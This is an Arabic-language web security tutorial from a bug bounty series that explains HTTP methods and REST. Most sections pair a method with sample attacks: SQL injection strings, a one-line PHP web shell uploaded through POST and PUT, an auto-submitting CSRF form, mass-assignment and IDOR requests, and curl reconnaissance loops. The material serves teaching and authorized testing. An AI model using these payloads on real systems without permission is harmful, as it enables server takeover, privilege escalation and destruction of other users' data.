NileOverFlow

HTTP Method

14 min read

أفعال HTTP Methods - HTTP

السلاح الأول في يد الباحث الأمني

ملاحظة للقارئ: هذا المستند جزء من السلسلة التعليمية لأمن الويب وبرامج مكافآت الثغرات (Bug Bounty). في المستند السابق تعرّفنا على بروتوكول HTTP وكيف تعمل رحلة الطلب والاستجابة. هنا نتعمق في أفعال HTTP (HTTP Methods) — وهي بالضبط النقطة التي يبدأ منها كثير من الباحثين الأمنيين تحليل أي تطبيق ويب.

المحتويات

  1. ما هي أفعال HTTP؟
  2. GET — جلب المورد
  3. HEAD — جلب الرؤوس فقط
  4. POST — إرسال البيانات
  5. PUT — إنشاء أو استبدال مورد
  6. PATCH — تعديل جزئي
  7. DELETE — حذف مورد
  8. OPTIONS — استعلام عن الأفعال المتاحة
  9. CONNECT — إنشاء نفق
  10. TRACE — اختبار المسار
  11. أفعال HTTP وRESTful APIs
  12. جدول الثغرات الأمنية الشامل
  13. المصادر والمراجع

1. ما هي أفعال HTTP؟

يُعرّف بروتوكول HTTP مجموعة من أفعال الطلب (Request Methods) تُشير إلى الغرض من الطلب وما يُتوقع من الخادم فعله عند نجاحه. يمكن تشبيه هذه الأفعال بصيغ الأوامر في اللغة: GET تعني “أعطني”، POST تعني “خذ هذا”، DELETE تعني “احذف هذا”.

المفاهيم الأساسية قبل البدء

قبل الغوص في كل فعل، يجب فهم مفهومين جوهريين:

أولاً: الأمانة (Safe Methods) فعل HTTP يُعدّ “آمناً” إذا كان لا يُغيّر حالة الخادم — أي أنه للقراءة فقط. الأفعال الآمنة هي: GET، HEAD، OPTIONS، TRACE.

ملاحظة: “آمن” هنا يعني آمن من ناحية التأثير على البيانات، وليس بالضرورة آمناً من ناحية الأمن السيبراني.

ثانياً: الأحادية (Idempotent Methods) فعل HTTP يُعدّ “أحادياً” إذا كان تكرار نفس الطلب عدة مرات يُعطي نفس النتيجة كتنفيذه مرة واحدة. الأفعال الأحادية هي: GET، HEAD، PUT، DELETE، OPTIONS، TRACE.

مثال على الفرق:
  PUT /user/1  {"name":"Ahmed"}  →  تنفيذها 10 مرات = نفس النتيجة دائماً  (Idempotent)
  POST /orders {"item":"Book"}   →  تنفيذها 10 مرات = 10 طلبات جديدة (Not Idempotent)

🔐 الصلة بأمن الويب: فهم مبدأ الـ Idempotency ضروري لكشف ثغرات تكرار الطلبات (Replay Attacks). إذا كان فعل POST لإتمام دفع مالي غير محمي بـ Idempotency Key، قد يتمكن المهاجم من تكرار الطلب لخصم المبلغ عدة مرات مع إتمام العملية مرة واحدة فقط.

2. GET

الوصف

فعل GET يطلب استرداد تمثيل للمورد المحدد. الطلبات التي تستخدم GET يجب أن تسترجع البيانات فقط دون أي تأثير جانبي على الخادم — أي أنها يجب أن تكون “قراءة فقط”.

من المهم ملاحظة أن GET لا يجب أن يحتوي على Request Body وفق المواصفات، وإن كان بعض الخوادم تقبله تقنياً، إلا أن هذا السلوك غير موثّق وقد يتجاهله بعض الـ Proxies.

مثال حقيقي

الطلب:

GET /contact HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0)
Accept: text/html,application/xhtml+xml

الاستجابة الناجحة:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Fri, 21 Jun 2024 14:18:33 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Content-Length: 1234
 
<!doctype html>
<!-- HTML content follows -->

حالات الاستخدام الشائعة

  • تحميل صفحات HTML
  • جلب بيانات من GET /api/users/42: API
  • تحميل صور وملفات CSS وJavaScript
  • البحث عبر GET /search?q=python&page=2: Query Parameters

استخدام GET من منظور أمني

على الرغم من كونه “آمناً” نظرياً، إلا أن GET يُخفي مخاطر جوهرية:

أولاً: تسريب البيانات في الـ URL

 خطأ شائع جداً
GET /login?username=ahmed&password=12345 HTTP/1.1

المشكلة: كلمة المرور ستظهر في:
  - سجلات الخادم (Server Logs)
  - سجلات Proxy والـ Firewall
  - رأس Referer عند الانتقال لرابط آخر
  - تاريخ المتصفح
  - الـ Cache

ثانياً: IDOR — الوصول المباشر غير الآمن للكائنات

GET /api/users/42/profile HTTP/1.1
          ↕ غيّر الرقم
GET /api/users/43/profile HTTP/1.1

إذا استجاب الخادم ببيانات المستخدم 43 دون التحقق من أنك مخوّل لرؤيتها، فهذه ثغرة IDOR (Insecure Direct Object Reference) — من أكثر الثغرات شيوعاً في برامج Bug Bounty.

ثالثاً: SQL Injection عبر Query Parameters

GET /products?category=shoes' OR '1'='1 HTTP/1.1

إذا كان الخادم يُدخل الـ Query Parameter مباشرةً في استعلام SQL دون تنقية، فهذه ثغرة SQL Injection.

💡 نصيحة للباحث الأمني: عند اختبار أي تطبيق، اجمع كل الـ Parameters التي يستقبلها عبر GET وجرّب على كل واحد منها: ', ", <script>, ../, %00 لاكتشاف نقاط الضعف المحتملة.

3. HEAD

الوصف

فعل HEAD يطلب نفس الاستجابة التي سيُعيدها GET لكن بدون جسم الاستجابة (Response Body). يُعيد الخادم فقط رؤوس الاستجابة (Headers).

هذا مفيد جداً عندما تريد معرفة معلومات عن مورد دون الاضطرار لتحميله كاملاً — مثلاً للتحقق من وجود ملف أو معرفة حجمه أو تاريخ تعديله قبل تحميله.

مثال حقيقي

الطلب:

HEAD /large-video.mp4 HTTP/1.1
Host: example.com

الاستجابة:

HTTP/1.1 200 OK
Content-Type: video/mp4
Content-Length: 524288000
Last-Modified: Mon, 10 Mar 2025 08:00:00 GMT
Accept-Ranges: bytes

لاحظ: لا يوجد Body في الاستجابة — فقط Headers تُخبرك أن الملف حجمه 500 ميغابايت وآخر تعديل له كان في مارس 2025.

حالات الاستخدام

  • التحقق من وجود مورد دون تحميله (فحص الروابط)
  • معرفة حجم الملف قبل التنزيل (Content-Length)
  • التحقق من تاريخ آخر تعديل (Last-Modified) لقرارات الـ Cache
  • التحقق من نوع المحتوى (Content-Type)

HEAD من منظور أمني

استخدام HEAD في الـ Reconnaissance (الاستطلاع)

هو أداة استطلاع ممتازة لأنه يُعطي معلومات مفيدة مع بصمة أصغر في السجلات:

# معرفة إصدار الخادم وتقنياته دون تحميل الصفحة
curl -I https://target.com/admin/
HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)          ← إصدار قديم به ثغرات معروفة!
X-Powered-By: PHP/5.2.6               ← PHP قديم جداً!
X-AspNet-Version: 2.0.50727           ← .NET قديم

هذه المعلومات تُساعد الباحث في تحديد الثغرات المعروفة لهذه الإصدارات في قواعد بيانات مثل CVE وExploit-DB.

اكتشاف الـ Endpoints المخفية

#  يُعطي 200 أو 403 بدل 404 للكشف عن صفحات موجودة لكن محظورة
for path in /admin /backup /config /api/internal; do
  curl -s -o /dev/null -w "%{http_code} $path\n" -X HEAD https://target.com$path
done
200 /admin      ← موجود وقابل للوصول!
403 /backup     ← موجود لكن محظور — يستحق المزيد من البحث
404 /config     ← غير موجود

4. POST

الوصف

فعل POST يُرسل بيانات إلى الخادم، وغالباً ما يُسبّب تغييراً في حالة الخادم أو تأثيرات جانبية. على عكس GET، فإن POST غير أحادي (Non-Idempotent) — تكرار نفس الطلب قد ينشئ موارد متعددة أو يُنفّذ نفس العملية مرات عدة.

نوع البيانات المُرسلة في الـ Body يُحدّده رأس Content-Type.

صيغ ترميز البيانات (Encoding Formats)

الصيغة الأولى: application/x-www-form-urlencoded (الافتراضية ل HTML Forms)

البيانات تُرسل كـ Key=Value مفصولة بـ &:

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
 
username=ahmed&password=MyPassword123

الصيغة الثانية: multipart/form-data (لرفع الملفات)

تُستخدم عند رفع ملفات، حيث تُقسَّم البيانات إلى أجزاء (Parts) يفصل بينها حاجز (Boundary):

POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
 
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="username"
 
ahmed
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: image/jpeg
 
[Binary file data here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

الصيغة الثالثة: application/json (الأشيع في APIs الحديثة)

POST /api/users HTTP/1.1
Host: api.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
 
{
  "username": "ahmed",
  "email": "ahmed@example.com",
  "role": "user"
}

حالات الاستخدام الشائعة

وفق مواصفات HTTP، صُمّم POST ليغطي حالات متعددة:

  • تسجيل الدخول وإنشاء الحسابات
  • إرسال نماذج HTML
  • رفع الملفات والصور
  • إنشاء موارد جديدة في APIs
  • إضافة تعليقات أو منشورات

POST من منظور أمني

هو الفعل الأكثر ثراءً من ناحية الثغرات لأنه يحمل بيانات مُعقّدة قابلة للتلاعب.

أولاً: SQL Injection في Request Body

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
 
username=admin'--&password=anything

إذا كان الخادم يبني الاستعلام هكذا:

SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- الجزء بعد -- يُعامل كتعليق، فيتجاهل شرط كلمة المرور!

ثانياً: ثغرة رفع الملفات (File Upload Vulnerabilities)

من أخطر الثغرات عند استخدام multipart/form-data:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----boundary
 
------boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg          ← نُغيّر النوع لخداع الفلتر!
 
<?php system($_GET['cmd']); ?>    ← Web Shell خبيث
------boundary--

إذا قبل الخادم الملف واستطعنا الوصول إليه، نمتلك الآن تنفيذ أوامر على الخادم (RCE)!

**ثالثاً: CSRF — تزوير طلبات المواقع **

<!-- صفحة خبيثة على evil.com -->
<form action="https://bank.com/transfer" method="POST" id="hack">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('hack').submit();</script>

إذا كان المستخدم مُسجّل الدخول في bank.com، سيُرسل متصفحه الـ Cookie تلقائياً مع هذا الطلب المُزوَّر.

رابعاً: Mass Assignment

POST /api/register HTTP/1.1
Content-Type: application/json
 
{
  "username": "attacker",
  "email": "attacker@evil.com",
  "role": "admin"          ← حقل لا يجب أن يقبله التطبيق من المستخدم!
}

إذا قبل الخادم جميع الحقول دون تصفية، قد يتمكن المهاجم من منح نفسه صلاحيات المدير.

5. PUT

الوصف

فعل PUT يُنشئ موردًا جديداً أو يستبدل المورد الحالي بالكامل بمحتوى الطلب. الفرق الجوهري بينه وبين POST: أحادي (Idempotent) — إرسال نفس طلب PUT مرات عديدة يُبقي الخادم في نفس الحالة.

فكّر فيه على أنه: “ضع هذا المحتوى بالضبط في هذا المكان — إذا كان موجوداً استبدله، وإن لم يكن أنشئه.”

مثال حقيقي — إنشاء مورد جديد

الطلب:

PUT /articles/new-article.html HTTP/1.1
Host: example.com
Content-Type: text/html
Content-Length: 16
 
<p>New Content</p>

الاستجابة — إذا أُنشئ مورد جديد:

HTTP/1.1 201 Created
Content-Location: /articles/new-article.html

الاستجابة — إذا تم تحديث مورد موجود:

HTTP/1.1 200 OK
Content-Location: /articles/new-article.html

أو:

HTTP/1.1 204 No Content
Content-Location: /articles/new-article.html

PUT مقابل POST — الفرق العملي

POST /api/users          → ينشئ مستخدماً جديداً (المعرّف يحدده الخادم)
PUT  /api/users/42       → يستبدل بيانات المستخدم 42 بالكامل (المعرّف محدد في URL)

POST مرتين → مستخدمان جديدان (Non-Idempotent) 
PUT  مرتين → نفس النتيجة (Idempotent)

PUT من منظور أمني — الأكثر خطورة

هو من أخطر الأفعال إذا لم يُقيَّد بشكل صحيح.

خطر Critical: رفع Web Shell عبر PUT

PUT /uploads/shell.php HTTP/1.1
Host: vulnerable-server.com
Content-Type: application/x-php
Content-Length: 30
 
<?php system($_GET['cmd']); ?>

إذا قبل الخادم هذا الطلب، يستطيع المهاجم الآن زيارة:

https://vulnerable-server.com/uploads/shell.php?cmd=whoami

والحصول على Remote Code Execution (RCE) — أعلى مستوى من الاختراق!

اختبار هل PUT مفعّل على الخادم:

# أولاً: تحقق من الأفعال المسموح بها
curl -X OPTIONS https://target.com/ -i | grep Allow
 
# ثانياً: جرّب رفع ملف نصي بسيط أولاً
curl -X PUT https://target.com/test.txt \
  -H "Content-Type: text/plain" \
  -d "test" -v

6. PATCH

الوصف

فعل PATCH يُطبّق تعديلات جزئية على مورد. إنه مماثل لمفهوم “التحديث” في CRUD، لكن بدلاً من استبدال المورد كاملاً (كما يفعل PUT)، يُرسل PATCH مجموعة تعليمات لتعديل أجزاء محددة.

الفرق العملي بين PUT وPATCH

// بيانات المستخدم الحالية في الخادم:
{
  "id": 42,
  "username": "ahmed",
  "email": "ahmed@old.com",
  "role": "user",
  "created_at": "2024-01-01"
}
 
// PUT — يستبدل الكل، يجب إرسال جميع الحقول:
PUT /api/users/42
{ "username": "ahmed", "email": "ahmed@new.com", "role": "user" }
// إذا نسيت حقلاً، قد يُحذف من الخادم!
 
// PATCH — يُعدّل الجزء المطلوب فقط:
PATCH /api/users/42
{ "email": "ahmed@new.com" }
// باقي الحقول تبقى كما هي ✅

PATCH من منظور أمني

ثغرة Mass Assignment عبر PATCH

PATCH /api/users/42 HTTP/1.1
Content-Type: application/json
Authorization: Bearer user_token_here
 
{
  "email": "newemail@example.com",
  "role": "admin",              ← محاولة ترقية الصلاحيات!
  "is_verified": true,          ← تجاوز التحقق من البريد!
  "subscription": "premium"    ← الحصول على خدمة مدفوعة مجاناً!
}

إذا لم يُطبّق الخادم قائمة بيضاء (Allowlist) للحقول المسموح بتعديلها، قد يقبل هذه الحقول الخطيرة.

تصعيد الصلاحيات (Privilege Escalation) عبر PATCH

السيناريو:
1. المهاجم يملك حساباً عادياً (role: "user")
2. يُرسل PATCH /api/users/{his_id} مع {"role": "admin"}
3. إذا نجح → اختراق كامل للنظام!

اختبار Mass Assignment:

# جرّب إضافة هذه الحقول في أي PATCH request وراقب الاستجابة:
{ "is_admin": true }
{ "admin": true }
{ "role": "admin" }
{ "permissions": ["*"] }
{ "verified": true }
{ "balance": 99999 }

7. DELETE — حذف مورد

الوصف

فعل DELETE يطلب من الخادم حذف المورد المحدد. الطلبات التي تستخدم DELETE لا يجب أن تحتوي على Request Body وفق المواصفات.

فعل DELETE أحادي (Idempotent): حذف مورد غير موجود يُعيد نفس النتيجة (المورد غير موجود) بغض النظر عن كم مرة نفّذت الطلب.

رموز الاستجابة الممكنة

// الحذف تمّ ولا توجد بيانات إضافية للإرجاع:
HTTP/1.1 204 No Content
 
// الحذف تمّ مع تفاصيل في الـ Body:
HTTP/1.1 200 OK
{ "message": "User 42 deleted successfully" }
 
// الحذف مقبول ولكن لم يُنفَّذ بعد :
HTTP/1.1 202 Accepted
{ "task_id": "del-task-123", "status": "queued" }

DELETE من منظور أمني

ثغرة IDOR على DELETE — تدمير بيانات الآخرين

// المستخدم الشرعي يحذف منشوره:
DELETE /api/posts/100 HTTP/1.1
Authorization: Bearer user_token
 
// المهاجم يُغيّر الرقم ليحذف منشور مستخدم آخر:
DELETE /api/posts/101 HTTP/1.1
Authorization: Bearer attacker_token

إذا لم يتحقق الخادم من ملكية المورد، فهذه ثغرة IDOR خطيرة يمكن توظيفها لمحو بيانات أي مستخدم.

اختبار Authorization على DELETE:

# الاختبار 1: حذف مورد لا تملكه
DELETE /api/users/1 HTTP/1.1        ← هل يسمح لك بحذف حساب Admin؟
 
# الاختبار 2: حذف بدون مصادقة
DELETE /api/posts/50 HTTP/1.1       ← بدون Authorization header
                                     هل يرفض الطلب؟
 
# الاختبار 3: تغيير الـ ID
DELETE /api/orders/999 HTTP/1.1     ← طلب لا تملكه

حذف حساب Admin — سيناريو P1

DELETE /api/users/1 HTTP/1.1        ← المستخدم ذو ID=1 عادةً هو Admin
Authorization: Bearer regular_user_token

إذا نجح هذا الطلب — فهذه ثغرة من الأولوية الأولى (Critical / P1).

8. OPTIONS

الوصف

فعل OPTIONS يطلب معرفة خيارات الاتصال المتاحة لمورد معين أو للخادم ككل. يُستخدم لمعرفة أي أفعال HTTP يدعمها الخادم على مورد محدد.

مثال حقيقي

الطلب عبر curl:

curl -X OPTIONS https://example.org/ -i

الطلب المُرسل:

OPTIONS / HTTP/2
Host: example.org
User-Agent: curl/8.7.1
Accept: */*

الاستجابة:

HTTP/1.1 204 No Content
Allow: OPTIONS, GET, HEAD, POST
Cache-Control: max-age=604800
Date: Thu, 13 Oct 2016 11:45:00 GMT

رأس Allow يُخبرك بالأفعال المسموح بها على هذا المورد.

9. CONNECT

الوصف

فعل CONNECT يطلب من البروكسي إنشاء نفق HTTP (HTTP Tunnel) إلى خادم الوجهة. عند نجاح الطلب، يُمرّر البروكسي البيانات في الاتجاهين بشكل أعمى حتى يُغلق النفق. يُستخدم بشكل رئيسي للاتصالات المُشفّرة (HTTPS) التي تمر عبر بروكسي.

كيف يعمل في الواقع

المتصفح → البروكسي: CONNECT github.com:443 HTTP/1.1
البروكسي → github.com: ينشئ اتصال TCP على المنفذ 443
البروكسي → المتصفح: HTTP/1.1 200 Connection Established
المتصفح ↔ github.com: الآن يتواصلان مباشرة عبر النفق (TLS Handshake ثم HTTPS)

CONNECT github.com:443 HTTP/1.1
Host: github.com:443
Proxy-Authorization: Basic dXNlcjpwYXNz
HTTP/1.1 200 Connection Established

10. TRACE

الوصف

فعل TRACE يُنفّذ اختبار loop-back على المسار إلى الخادم المستهدف. يُعيد الخادم نسخة طبق الأصل من الطلب كما استقبله في جسم الاستجابة، مما يُمكّن العميل من رؤية ما أضافه أو عدّله أي وسيط (Proxy) على الطلب أثناء مروره.

ملاحظة: معظم الخوادم الحديثة تُعطّل TRACE افتراضياً نظراً للمخاطر الأمنية، لذا رؤيته مفعّلاً اليوم هو مؤشر على خادم قديم أو سوء إعداد.

مثال

TRACE /test HTTP/1.1
Host: example.com
X-Custom-Header: sensitive-value
HTTP/1.1 200 OK
Content-Type: message/http
 
TRACE /test HTTP/1.1
Host: example.com
X-Custom-Header: sensitive-value
Via: 1.1 proxy.corporate.com
X-Forwarded-For: 10.0.0.1

11. أفعال HTTP وRESTful APIs

ما هو REST؟

REST (Representational State Transfer) هو أسلوب معماري لتصميم APIs يعتمد على أفعال HTTP بشكل صريح. في APIs المصممة وفق REST:

  • URL يُمثّل المورد (Resource)
  • الفعل يُمثّل العملية (Action)

CRUD مقابل HTTP Methods

C - Create  →  POST   /api/users
R - Read    →  GET    /api/users/42
U - Update  →  PUT    /api/users/42  (كامل)
            →  PATCH  /api/users/42  (جزئي)
D - Delete  →  DELETE /api/users/42

مبدأ الواجهة الموحّدة (Uniform Interface)

في REST، الجمع بين URL والفعل يُعطي معنى واضحاً:

GET    /api/posts       → جلب جميع المنشورات
POST   /api/posts       → إنشاء منشور جديد
GET    /api/posts/5     → جلب المنشور رقم 5
PUT    /api/posts/5     → تحديث المنشور رقم 5 كاملاً
PATCH  /api/posts/5     → تعديل جزء من المنشور رقم 5
DELETE /api/posts/5     → حذف المنشور رقم 5

مبدأ Idempotency في REST

GET    → أحادي — اقرأ مرات عديدة = نفس النتيجة
PUT    → أحادي — ضع نفس المحتوى مرات عديدة = نفس الحالة
DELETE → أحادي — احذف مورداً محذوفاً = المورد غير موجود
POST   → غير أحادي — أنشئ مورداً مرات عديدة = موارد متعددة
PATCH  → قد يكون أو لا يكون أحادياً (يعتمد على التطبيق)

🔐 REST APIs من منظور أمني

مشكلة الـ Broken Access Control في REST

وفق OWASP، Broken Access Control هو الثغرة رقم 1 في تطبيقات الويب، وكثير من حالاتها تنبع من سوء إعداد أفعال HTTP:

السيناريو الشائع:
  ✅ GET    /api/admin/users  → محمي بـ auth ✓
  ✅ POST   /api/admin/users  → محمي بـ auth ✓
  ❌ DELETE /api/admin/users  → نُسي حمايته! ✗
  ❌ PUT    /api/admin/users  → نُسي حمايته! ✗

12. جدول الثغرات الأمنية الشامل

المخططات التوضيحية: راجع المخطط المرفق “خريطة مخاطر أفعال HTTP” الذي يُصنّف كل فعل حسب درجة خطورته الأمنية، ومخطط “آلية CORS Preflight” لفهم كيف يُستخدم OPTIONS في التحقق من صلاحيات النطاقات المتقاطعة.

الفعلخطورة المشكلةثغرة Bug Bountyسيناريو الاستغلال
PUT🔴 Critical (P1)Web Shell Upload / RCEرفع ملف .php أو .jsp خبيث مباشرةً على الخادم
PATCH🟠 High (P2)Mass Assignment / Privilege Escalationإضافة "role":"admin" في الطلب
DELETE🟠 High (P2)IDOR / Data Destructionحذف بيانات مستخدمين آخرين بتغيير الـ ID
POST🟠 High (P2)SQLi / XSS / CSRF / File Uploadمتعدد الثغرات بحسب نقطة الدخول
GET🟡 Medium (P3)IDOR / SQLi / Info Leakageتعديل Query Parameters وبيانات URL

13. المصادر والمراجع

Backlinks